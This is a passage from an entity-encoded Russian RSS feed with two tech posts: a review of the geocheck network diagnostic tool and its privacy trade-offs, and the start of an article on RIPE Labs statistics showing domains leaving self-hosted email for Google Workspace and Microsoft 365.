&#x438;&#x43B;&#x438; &#x431;&#x440;&#x43E;&#x441;&#x438;&#x442;&#x44C; &#x432; &#x447;&#x430;&#x442;. &#x41E;&#x446;&#x435;&#x43D;&#x438;&#x442;&#x44C; &#x432;&#x43D;&#x435;&#x448;&#x43D;&#x438;&#x439; &#x432;&#x438;&#x434; &#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; &#x431;&#x435;&#x437; &#x43E;&#x431;&#x440;&#x430;&#x449;&#x435;&#x43D;&#x438;&#x439; &#x43D;&#x430;&#x440;&#x443;&#x436;&#x443; &#x2014; &#x444;&#x43B;&#x430;&#x433; --demo &#x440;&#x438;&#x441;&#x443;&#x435;&#x442; &#x43E;&#x431;&#x440;&#x430;&#x437;&#x435;&#x446; &#x43D;&#x430; &#x432;&#x44B;&#x434;&#x443;&#x43C;&#x430;&#x43D;&#x43D;&#x44B;&#x445; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x445;. 
&#x1F512; &#x411;&#x435;&#x437;&#x43E;&#x43F;&#x430;&#x441;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x417;&#x430; &#x443;&#x434;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x43E; &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x43F;&#x43B;&#x430;&#x442;&#x438;&#x442;&#x44C;, &#x438; &#x432;&#x43E;&#x442; &#x447;&#x435;&#x43C;: &#x43F;&#x43E;&#x43B;&#x43D;&#x44B;&#x439; &#x43F;&#x440;&#x43E;&#x433;&#x43E;&#x43D; &#x440;&#x430;&#x437;&#x434;&#x430;&#x451;&#x442; &#x432;&#x430;&#x448; IP &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x447;&#x435;&#x442;&#x44B;&#x440;&#x451;&#x43C; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x43A;&#x430;&#x43C; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x43D;&#x438;&#x445; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x43E;&#x432; GeoIP, &#x43F;&#x43B;&#x44E;&#x441; &#x442;&#x43E;&#x447;&#x43A;&#x430;&#x43C; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x43A;&#x438; &#x441;&#x432;&#x44F;&#x437;&#x43D;&#x43E;&#x441;&#x442;&#x438; Google, Apple &#x438; Microsoft, &#x43F;&#x43B;&#x44E;&#x441; API &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x43A;&#x438; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x43E;&#x432;. &#x414;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44F; &#x43E;&#x431; &#x44D;&#x442;&#x43E;&#x43C; &#x43F;&#x438;&#x448;&#x435;&#x442; &#x43F;&#x440;&#x44F;&#x43C;&#x43E;, &#x438; &#x43E;&#x431;&#x43E;&#x439;&#x442;&#x438; &#x44D;&#x442;&#x43E;, &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x44F; &#x442;&#x430;&#x43A;&#x43E;&#x439; &#x43E;&#x442;&#x447;&#x451;&#x442;, &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F; &#x2014; &#x43D;&#x43E; &#x438;&#x43C;&#x435;&#x442;&#x44C; &#x432; &#x432;&#x438;&#x434;&#x443; &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;. &#x424;&#x43B;&#x430;&#x433; --mask &#x442;&#x43E;&#x436;&#x435; &#x43D;&#x435; &#x442;&#x43E;, &#x447;&#x435;&#x43C; &#x43A;&#x430;&#x436;&#x435;&#x442;&#x441;&#x44F;. &#x415;&#x433;&#x43E; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x438;&#x435; &#x2014; &#xAB;mask the public address in the output&#xBB;, &#x442;&#x43E; &#x435;&#x441;&#x442;&#x44C; &#x430;&#x434;&#x440;&#x435;&#x441; &#x441;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432; &#x432;&#x44B;&#x432;&#x43E;&#x434;&#x435; &#x438; &#x43D;&#x438;&#x43A;&#x443;&#x434;&#x430; &#x43D;&#x435; &#x434;&#x435;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x438;&#x437; &#x441;&#x430;&#x43C;&#x438;&#x445; &#x437;&#x430;&#x43F;&#x440;&#x43E;&#x441;&#x43E;&#x432; &#x43A; &#x442;&#x435;&#x43C; &#x436;&#x435; &#x441;&#x43E;&#x440;&#x43E;&#x43A;&#x430; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x430;&#x43C;. &#x421;&#x43A;&#x440;&#x438;&#x43D;&#x448;&#x43E;&#x442; &#x432; &#x43F;&#x443;&#x431;&#x43B;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x447;&#x430;&#x442; &#x43E;&#x43D; &#x441;&#x43F;&#x430;&#x441;&#x430;&#x435;&#x442;. &#x41F;&#x440;&#x438;&#x432;&#x430;&#x442;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x2014; &#x43D;&#x435;&#x442;. 
&#x427;&#x435;&#x43C; &#x44D;&#x442;&#x43E; &#x43E;&#x442;&#x43B;&#x438;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43E;&#x442; &#x43F;&#x440;&#x438;&#x432;&#x44B;&#x447;&#x43D;&#x43E;&#x433;&#x43E; &#x43D;&#x430;&#x431;&#x43E;&#x440;&#x430;
&#x420;&#x435;&#x432;&#x43E;&#x43B;&#x44E;&#x446;&#x438;&#x438; &#x437;&#x434;&#x435;&#x441;&#x44C; &#x43D;&#x435;&#x442;: &#x440;&#x435;&#x43F;&#x443;&#x442;&#x430;&#x446;&#x438;&#x44E; &#x430;&#x434;&#x440;&#x435;&#x441;&#x430; &#x438; &#x440;&#x430;&#x43D;&#x44C;&#x448;&#x435; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x44F;&#x43B;&#x438; &#x43D;&#x430; &#x441;&#x430;&#x439;&#x442;&#x430;&#x445;-&#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x44F;&#x43B;&#x43A;&#x430;&#x445;, &#x43C;&#x430;&#x440;&#x448;&#x440;&#x443;&#x442; &#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x43B;&#x438; &#x447;&#x435;&#x440;&#x435;&#x437; mtr, &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x43D;&#x43E;&#x441;&#x442;&#x44C; Netflix &#x433;&#x43E;&#x43D;&#x44F;&#x43B;&#x438; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x43C;&#x438; &#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442;&#x430;&#x43C;&#x438;. &#x41D;&#x43E;&#x432;&#x438;&#x437;&#x43D;&#x430; &#x432; &#x441;&#x431;&#x43E;&#x440;&#x43A;&#x435; &#x432;&#x441;&#x435;&#x433;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x435;&#x43D;&#x43D;&#x43E;&#x433;&#x43E; &#x432; &#x43E;&#x434;&#x438;&#x43D; &#x43F;&#x440;&#x43E;&#x433;&#x43E;&#x43D; &#x441; &#x43E;&#x431;&#x449;&#x438;&#x43C; &#x43E;&#x442;&#x447;&#x451;&#x442;&#x43E;&#x43C; &#x2014; &#x438; &#x432; &#x442;&#x43E;&#x43C;, &#x447;&#x442;&#x43E; -p &#x441; -i &#x434;&#x430;&#x44E;&#x442; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x438;&#x442;&#x44C; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x443;&#x44E; &#x442;&#x43E;&#x447;&#x43A;&#x443; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x430;, &#x430; &#x43D;&#x435; &#x43C;&#x430;&#x448;&#x438;&#x43D;&#x443;, &#x43D;&#x430; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x432;&#x44B; &#x441;&#x438;&#x434;&#x438;&#x442;&#x435;. 
&#x41F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; &#x432;&#x435;&#x440;&#x441;&#x438;&#x44F; 0.3.0 &#x443; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x432;&#x43E;&#x437;&#x440;&#x430;&#x441;&#x442;&#x43E;&#x43C; &#x432; &#x441;&#x447;&#x438;&#x442;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x434;&#x43D;&#x438; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x435;&#x442;, &#x447;&#x442;&#x43E; &#x438; &#x43D;&#x430;&#x431;&#x43E;&#x440; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x43E;&#x43A;, &#x438; &#x444;&#x43E;&#x440;&#x43C;&#x430;&#x442; &#x432;&#x44B;&#x432;&#x43E;&#x434;&#x430; &#x435;&#x449;&#x451; &#x43F;&#x43E;&#x435;&#x434;&#x443;&#x442;. &#x414;&#x43B;&#x44F; &#x440;&#x430;&#x437;&#x43E;&#x432;&#x43E;&#x439; &#x434;&#x438;&#x430;&#x433;&#x43D;&#x43E;&#x441;&#x442;&#x438;&#x43A;&#x438; &#x44D;&#x442;&#x43E; &#x43D;&#x435;&#x441;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;; &#x430; &#x432;&#x43E;&#x442; &#x432;&#x435;&#x448;&#x430;&#x442;&#x44C; &#x43C;&#x43E;&#x43D;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x43D;&#x433; &#x43D;&#x430; JSON-&#x441;&#x445;&#x435;&#x43C;&#x443; &#x44F; &#x431;&#x44B; &#x43F;&#x43E;&#x43A;&#x430; &#x43F;&#x43E;&#x434;&#x43E;&#x436;&#x434;&#x430;&#x43B; &#x2014; &#x43F;&#x43E;&#x43B;&#x435; schema &#x432; &#x432;&#x44B;&#x432;&#x43E;&#x434;&#x435; &#x43F;&#x440;&#x438;&#x441;&#x443;&#x442;&#x441;&#x442;&#x432;&#x443;&#x435;&#x442;, &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x438;&#x441;&#x442;&#x43E;&#x440;&#x438;&#x438; &#x432;&#x435;&#x440;&#x441;&#x438;&#x439; &#x437;&#x430; &#x43D;&#x438;&#x43C; &#x435;&#x449;&#x451; &#x43D;&#x435;&#x442;. 
&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; &#x41A;&#x442;&#x43E; &#x443;&#x436;&#x435; &#x43F;&#x440;&#x43E;&#x433;&#x43E;&#x43D;&#x44F;&#x43B; &#x43D;&#x430; &#x441;&#x432;&#x43E;&#x438;&#x445; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430;&#x445; &#x2014; &#x43A;&#x430;&#x43A;&#x438;&#x435; &#x432;&#x435;&#x440;&#x434;&#x438;&#x43A;&#x442;&#x44B; &#x432;&#x44B;&#x43F;&#x430;&#x43B;&#x438; &#x438; &#x441;&#x43E;&#x448;&#x43B;&#x438;&#x441;&#x44C; &#x43B;&#x438; &#x441; &#x43E;&#x449;&#x443;&#x449;&#x435;&#x43D;&#x438;&#x44F;&#x43C;&#x438;? &#x41E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43B;&#x44E;&#x431;&#x43E;&#x43F;&#x44B;&#x442;&#x43D;&#x44B; detour &#x438; intercepted: &#x43D;&#x430; &#x43A;&#x430;&#x43A;&#x438;&#x445; &#x446;&#x435;&#x43B;&#x44F;&#x445; &#x43E;&#x43D;&#x438; &#x432;&#x44B;&#x43B;&#x435;&#x437;&#x43B;&#x438; &#x438; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x438;&#x43B;&#x43E;&#x441;&#x44C; &#x43B;&#x438; &#x434;&#x43E;&#x438;&#x441;&#x43A;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43F;&#x440;&#x438;&#x447;&#x438;&#x43D;&#x44B;? 

&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;
github.com/remnawave/geocheck &#x2014; README, &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x43E;&#x43A;, &#x444;&#x43B;&#x430;&#x433;&#x438;, &#x442;&#x430;&#x431;&#x43B;&#x438;&#x446;&#x430; &#x432;&#x435;&#x440;&#x434;&#x438;&#x43A;&#x442;&#x43E;&#x432;&#x420;&#x435;&#x43B;&#x438;&#x437;&#x44B; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x2014; v0.3.0 &#x43E;&#x442; 18 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430;remnawave/geocheck &#x432; Docker Hub &#x2014; &#x442;&#x435;&#x433;&#x438; latest &#x438; ing, linux/amd64 &#x438; linux/arm64</description><pubDate>Wed, 19 Aug 2026 07:52:46 +0000</pubDate></item><item><title>&#x41F;&#x43E;&#x447;&#x435;&#x43C;&#x443; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x44B; &#x443;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x43E;&#x442; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;&#x439; &#x43F;&#x43E;&#x447;&#x442;&#x44B; &#x2014; &#x438; &#x447;&#x442;&#x43E; &#x447;&#x438;&#x43D;&#x438;&#x442;&#x44C;, &#x435;&#x441;&#x43B;&#x438; &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x430; &#x432;&#x441;&#x451;-&#x442;&#x430;&#x43A;&#x438; &#x43D;&#x435; &#x434;&#x43E;&#x445;&#x43E;&#x434;&#x44F;&#x442;</title><link><![CDATA[https://openode.xyz/topic/2048-%D0%BF%D0%BE%D1%87%D0%B5%D0%BC%D1%83-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D1%8B-%D1%83%D1%85%D0%BE%D0%B4%D1%8F%D1%82-%D0%BE%D1%82-%D1%81%D0%BE%D0%B1%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9-%D0%BF%D0%BE%D1%87%D1%82%D1%8B-%D0%B8-%D1%87%D1%82%D0%BE-%D1%87%D0%B8%D0%BD%D0%B8%D1%82%D1%8C-%D0%B5%D1%81%D0%BB%D0%B8-%D0%BF%D0%B8%D1%81%D1%8C%D0%BC%D0%B0-%D0%B2%D1%81%D1%91-%D1%82%D0%B0%D0%BA%D0%B8-%D0%BD%D0%B5-%D0%B4%D0%BE%D1%85%D0%BE%D0%B4%D1%8F%D1%82/?do=findComment&comment=9218]]></link><description>&#x414;&#x43E;&#x43B;&#x44F; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x43E;&#x432; &#x441; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x43C; &#x43F;&#x43E;&#x447;&#x442;&#x43E;&#x432;&#x44B;&#x43C; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43E;&#x43C; &#x437;&#x430; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x44C; &#x43B;&#x435;&#x442; &#x441;&#x43E;&#x43A;&#x440;&#x430;&#x442;&#x438;&#x43B;&#x430;&#x441;&#x44C; &#x432;&#x434;&#x432;&#x43E;&#x435;
&#x414;&#x432;&#x430; &#x430;&#x43C;&#x435;&#x440;&#x438;&#x43A;&#x430;&#x43D;&#x441;&#x43A;&#x438;&#x445; &#x43F;&#x440;&#x43E;&#x432;&#x430;&#x439;&#x434;&#x435;&#x440;&#x430; &#x441;&#x435;&#x433;&#x43E;&#x434;&#x43D;&#x44F; &#x43F;&#x440;&#x438;&#x43D;&#x438;&#x43C;&#x430;&#x44E;&#x442; &#x43F;&#x43E;&#x447;&#x442;&#x443; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x434;&#x43B;&#x44F; &#x441;&#x43E;&#x440;&#x43E;&#x43A;&#x430; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x43D;&#x442;&#x43E;&#x432; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x43E;&#x432; &#x438;&#x437; &#x43F;&#x435;&#x440;&#x432;&#x43E;&#x433;&#x43E; &#x43C;&#x438;&#x43B;&#x43B;&#x438;&#x43E;&#x43D;&#x430; &#x43F;&#x43E; Tranco. &#x421;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x43F;&#x43E;&#x447;&#x442;&#x43E;&#x432;&#x44B;&#x439; &#x443;&#x437;&#x435;&#x43B; &#x43E;&#x441;&#x442;&#x430;&#x43B;&#x441;&#x44F; &#x443; 22,4 % &#x2014; &#x43F;&#x440;&#x43E;&#x442;&#x438;&#x432; 44,6 % &#x434;&#x435;&#x441;&#x44F;&#x442;&#x44C;&#x44E; &#x433;&#x43E;&#x434;&#x430;&#x43C;&#x438; &#x440;&#x430;&#x43D;&#x435;&#x435;. &#x426;&#x438;&#x444;&#x440;&#x44B; &#x432;&#x437;&#x44F;&#x442;&#x44B; &#x438;&#x437; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x44B; &#x410;&#x440;&#x442;&#x451;&#x43C;&#x430; &#x411;&#x435;&#x440;&#x435;&#x437;&#x438;&#x43D;&#x430; &#x43D;&#x430; RIPE Labs: &#x43F;&#x443;&#x431;&#x43B;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x44F; &#x43E;&#x442; 30 &#x438;&#x44E;&#x43B;&#x44F; 2026 &#x433;&#x43E;&#x434;&#x430;, &#x441;&#x440;&#x435;&#x437; &#x43E;&#x442; 18 &#x438;&#x44E;&#x43B;&#x44F;, &#x438;&#x441;&#x445;&#x43E;&#x434;&#x43D;&#x44B;&#x435; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x2014; &#x435;&#x436;&#x435;&#x434;&#x43D;&#x435;&#x432;&#x43D;&#x44B;&#x435; &#x441;&#x43D;&#x438;&#x43C;&#x43A;&#x438; DNS &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; OpenINTEL. 
&#x427;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x44D;&#x442;&#x43E; &#x43A;&#x430;&#x43A; &#x44D;&#x43F;&#x438;&#x442;&#x430;&#x444;&#x438;&#x44E; &#x441;&#x430;&#x43C;&#x43E;&#x445;&#x43E;&#x441;&#x442;&#x438;&#x43D;&#x433;&#x443; &#x431;&#x44B;&#x43B;&#x43E; &#x431;&#x44B; &#x43F;&#x43E;&#x441;&#x43F;&#x435;&#x448;&#x43D;&#x43E;. &#x420;&#x430;&#x437;&#x431;&#x435;&#x440;&#x451;&#x43C; &#x441;&#x43D;&#x430;&#x447;&#x430;&#x43B;&#x430;, &#x447;&#x442;&#x43E; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x43F;&#x43E;&#x441;&#x447;&#x438;&#x442;&#x430;&#x43D;&#x43E;, &#x430; &#x43F;&#x43E;&#x442;&#x43E;&#x43C; &#x441;&#x43E;&#x431;&#x435;&#x440;&#x451;&#x43C; &#x43F;&#x440;&#x430;&#x43A;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;&#x439; &#x441;&#x43F;&#x440;&#x430;&#x432;&#x43E;&#x447;&#x43D;&#x438;&#x43A;: &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x430; &#x43D;&#x435; &#x443;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x438;&#x43B;&#x438; &#x442;&#x43E;&#x43D;&#x443;&#x442; &#x432; &#x441;&#x43F;&#x430;&#x43C;&#x435; &#x2014; &#x43A;&#x443;&#x434;&#x430; &#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x442;&#x44C;. 
&#x421;&#x443;&#x445;&#x43E;&#x439; &#x43E;&#x441;&#x442;&#x430;&#x442;&#x43E;&#x43A; &#x438;&#x441;&#x441;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F;
&#x422;&#x438;&#x43F;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x434;&#x435;&#x43D;&#x44C; &#x432;&#x44B;&#x431;&#x43E;&#x440;&#x43A;&#x438; &#x2014; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; 659 000 &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x43E;&#x432; &#x441; MX-&#x437;&#x430;&#x43F;&#x438;&#x441;&#x44F;&#x43C;&#x438; &#x438; 618 000 &#x441; SPF.&#x41D;&#x430; Google Workspace &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; 21,8 % &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x43E;&#x432; &#x441; MX, &#x43D;&#x430; Microsoft 365 &#x2014; 16,8 %; &#x441;&#x443;&#x43C;&#x43C;&#x430;&#x440;&#x43D;&#x43E; 38,6 %.&#x418;&#x434;&#x443;&#x449;&#x438;&#x439; &#x442;&#x440;&#x435;&#x442;&#x44C;&#x438;&#x43C; Proofpoint &#x43D;&#x430;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; &#x43B;&#x438;&#x448;&#x44C; 1,9 % &#x2014; &#x43E;&#x442;&#x440;&#x44B;&#x432; &#x432;&#x442;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x43C;&#x435;&#x441;&#x442;&#x430; &#x43E;&#x442; &#x442;&#x440;&#x435;&#x442;&#x44C;&#x435;&#x433;&#x43E; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x434;&#x435;&#x432;&#x44F;&#x442;&#x438;&#x43A;&#x440;&#x430;&#x442;&#x43D;&#x44B;&#x439;.DMARC-&#x437;&#x430;&#x43F;&#x438;&#x441;&#x44C; &#x435;&#x441;&#x442;&#x44C; &#x443; 458 467 &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x43E;&#x432;, &#x43D;&#x43E; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E; &#x447;&#x442;&#x43E;-&#x442;&#x43E; &#x43F;&#x440;&#x435;&#x434;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x44E;&#x442; (p=quarantine &#x43B;&#x438;&#x431;&#x43E; p=reject &#x43F;&#x440;&#x438; pct=100) &#x432;&#x441;&#x435;&#x433;&#x43E; 46,9 % &#x438;&#x437; &#x43D;&#x438;&#x445;.&#x410;&#x431;&#x441;&#x43E;&#x43B;&#x44E;&#x442;&#x43D;&#x44B;&#x439; &#x447;&#x435;&#x43C;&#x43F;&#x438;&#x43E;&#x43D; &#x43F;&#x43E; &#x447;&#x430;&#x441;&#x442;&#x43E;&#x442;&#x435; &#x2014; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x430; v=DMARC1; p=none; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x432; &#x442;&#x430;&#x43A;&#x43E;&#x43C; &#x432;&#x438;&#x434;&#x435;: 58 064 &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x430;. &#x415;&#x449;&#x451; 32 682 &#x43F;&#x443;&#x431;&#x43B;&#x438;&#x43A;&#x443;&#x44E;&#x442; &#x435;&#x451; &#x436;&#x435; &#x431;&#x435;&#x437; &#x437;&#x430;&#x432;&#x435;&#x440;&#x448;&#x430;&#x44E;&#x449;&#x435;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x441; &#x437;&#x430;&#x43F;&#x44F;&#x442;&#x43E;&#x439;.
&#x2139;&#xFE0F; &#x421;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; &#x427;&#x442;&#x43E; &#x437;&#x434;&#x435;&#x441;&#x44C; &#x441;&#x447;&#x438;&#x442;&#x430;&#x435;&#x442;&#x441;&#x44F; &#xAB;&#x441;&#x432;&#x43E;&#x438;&#x43C; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43E;&#x43C;&#xBB;. &#x41F;&#x440;&#x43E;&#x432;&#x430;&#x439;&#x434;&#x435;&#x440; &#x43E;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x43E; &#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x43D;&#x43E;&#x439; MX-&#x437;&#x430;&#x43F;&#x438;&#x441;&#x438; &#x2014; &#x441; &#x43D;&#x430;&#x438;&#x43C;&#x435;&#x43D;&#x44C;&#x448;&#x438;&#x43C; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435;&#x43C; preference &#x2014; &#x438; &#x441;&#x432;&#x435;&#x440;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x441;&#x43E; &#x441;&#x43B;&#x43E;&#x432;&#x430;&#x440;&#x451;&#x43C; &#x438;&#x437;&#x432;&#x435;&#x441;&#x442;&#x43D;&#x44B;&#x445; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x43E;&#x432;. &#x41D;&#x435; &#x441;&#x43E;&#x432;&#x43F;&#x430;&#x432;&#x448;&#x435;&#x435; &#x43D;&#x438; &#x441; &#x43E;&#x434;&#x43D;&#x438;&#x43C; &#x448;&#x430;&#x431;&#x43B;&#x43E;&#x43D;&#x43E;&#x43C; &#x430;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438; &#x443;&#x435;&#x437;&#x436;&#x430;&#x435;&#x442; &#x432; &#x43A;&#x43E;&#x440;&#x437;&#x438;&#x43D;&#x443; &#xAB;&#x441;&#x430;&#x43C;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x435;&#xBB;. &#x421;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;, &#x432;&#x43D;&#x443;&#x442;&#x440;&#x438; 22,4 % &#x43E;&#x43A;&#x430;&#x437;&#x430;&#x43B;&#x438;&#x441;&#x44C; &#x43D;&#x435; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43D;&#x430;&#x441;&#x442;&#x43E;&#x44F;&#x449;&#x438;&#x435; &#x441;&#x430;&#x43C;&#x43E;&#x445;&#x43E;&#x441;&#x442;&#x435;&#x440;&#x44B;, &#x43D;&#x43E; &#x438; &#x43C;&#x435;&#x43B;&#x43A;&#x438;&#x435; &#x440;&#x435;&#x433;&#x438;&#x43E;&#x43D;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; &#x445;&#x43E;&#x441;&#x442;&#x435;&#x440;&#x44B;, &#x43A;&#x43E;&#x440;&#x43F;&#x43E;&#x440;&#x430;&#x442;&#x438;&#x432;&#x43D;&#x44B;&#x435; &#x448;&#x43B;&#x44E;&#x437;&#x44B; &#x438; &#x432;&#x441;&#x451;, &#x447;&#x435;&#x433;&#x43E; &#x432; &#x441;&#x43B;&#x43E;&#x432;&#x430;&#x440;&#x435; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x43D;&#x435;&#x442;. &#x410;&#x432;&#x442;&#x43E;&#x440; &#x43F;&#x440;&#x438;&#x432;&#x43E;&#x434;&#x438;&#x442; &#x438; &#x432;&#x441;&#x442;&#x440;&#x435;&#x447;&#x43D;&#x443;&#x44E; &#x446;&#x438;&#x444;&#x440;&#x443;: 36 455 &#x443;&#x43D;&#x438;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x445; MX-&#x445;&#x43E;&#x441;&#x442;&#x43E;&#x432; &#x43E;&#x441;&#x442;&#x430;&#x43B;&#x438;&#x441;&#x44C; &#x43D;&#x435;&#x43E;&#x43F;&#x43E;&#x437;&#x43D;&#x430;&#x43D;&#x43D;&#x44B;&#x43C;&#x438;. 
&#x41A;&#x43E;&#x440;&#x440;&#x435;&#x43A;&#x442;&#x43D;&#x430;&#x44F; &#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x430; &#x43F;&#x43E;&#x44D;&#x442;&#x43E;&#x43C;&#x443; &#x438;&#x43D;&#x430;&#x44F;. &#x41D;&#x435; &#xAB;&#x441;&#x430;&#x43C;&#x43E;&#x445;&#x43E;&#x441;&#x442;&#x438;&#x43D;&#x433; &#x43F;&#x43E;&#x447;&#x442;&#x44B; &#x443;&#x43C;&#x435;&#x440;&#xBB;, &#x430; &#xAB;&#x437;&#x430; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x44C; &#x43B;&#x435;&#x442; &#x434;&#x432;&#x430; &#x430;&#x43C;&#x435;&#x440;&#x438;&#x43A;&#x430;&#x43D;&#x441;&#x43A;&#x438;&#x445; 